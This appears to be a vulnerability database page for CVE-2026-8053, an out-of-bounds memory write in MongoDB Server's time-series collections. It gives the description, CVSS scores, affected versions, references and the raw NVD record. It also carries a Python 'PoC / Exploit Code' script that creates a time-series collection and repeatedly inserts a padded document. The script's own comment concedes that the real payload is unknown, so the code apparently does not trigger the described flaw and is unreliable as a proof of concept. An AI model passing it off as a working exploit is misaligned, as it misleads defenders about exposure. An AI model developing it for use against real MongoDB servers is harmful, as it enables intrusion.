CVE-2026-8053

Description

An issue in MongoDB Server's time-series collection implementation allows an authenticated user with database write privileges to trigger an out-of-bounds memory write in the mongod process. The issue results from an inconsistency in the internal field-name-to-index mapping within the time-series bucket catalog. Under certain conditions this can result in arbitrary code execution. This issue impacts MongoDB Server v5.0 versions prior to 5.0.33, v6.0 versions prior to 6.0.28, v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MongoDB Server v5.0 < 5.0.33

MongoDB Server v6.0 < 6.0.28

MongoDB Server v7.0 < 7.0.34

MongoDB Server v8.0 < 8.0.23

MongoDB Server v8.2 < 8.2.9

MongoDB Server v8.3 < 8.3.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import pymongo
import time

# MongoDB connection settings
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 27017
USERNAME = "user"
PASSWORD = "password"
DATABASE_NAME = "vuln_db"
COLLECTION_NAME = "timeseries_coll"

def exploit():
    try:
        # Connect to the MongoDB instance
        client = pymongo.MongoClient(
            f"mongodb://{USERNAME}:{PASSWORD}@{TARGET_HOST}:{TARGET_PORT}/"
        )
        db = client[DATABASE_NAME]

        # Create a time-series collection (vulnerable component)
        # The vulnerability lies in the handling of time-series buckets
        db.create_collection(
            COLLECTION_NAME,
            timeseries={
                "timeField": "timestamp",
                "metaField": "metadata",
                "granularity": "seconds"
            }
        )
        coll = db[COLLECTION_NAME]

        print(f"[*] Connected to {TARGET_HOST}. Attempting to trigger OOB write...")

        # Insert malicious documents to trigger the inconsistency
        # in field-name-to-index mapping within the bucket catalog.
        # Note: Specific payload structure depends on internal version details.
        payload = {
            "timestamp": time.time(),
            "metadata": "trigger",
            # Maliciously constructed fields to confuse the internal mapper
            "exploit_field": "A" * 1000 
        }

        for i in range(100):
            coll.insert_one(payload)
            
        print("[+] Payload sent. If vulnerable, mongod may crash or execute code.")

    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8053
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8053
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8053/
[4] VulDB https://vuldb.com/cve/CVE-2026-8053
[5] https://jira.mongodb.org/browse/SERVER-126021

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8053", "sourceIdentifier": "[email protected]", "published": "2026-05-13T04:17:41.287", "lastModified": "2026-05-13T15:34:29.847", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in MongoDB Server's time-series collection implementation allows an authenticated user with database write privileges to trigger an out-of-bounds memory write in the mongod process. The issue results from an inconsistency in the internal field-name-to-index mapping within the time-series bucket catalog. Under certain conditions this can result in arbitrary code execution.\n\nThis issue impacts MongoDB Server v5.0 versions prior to 5.0.33, v6.0 versions prior to 6.0.28, v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-126021", "source": "[email protected]"}]}}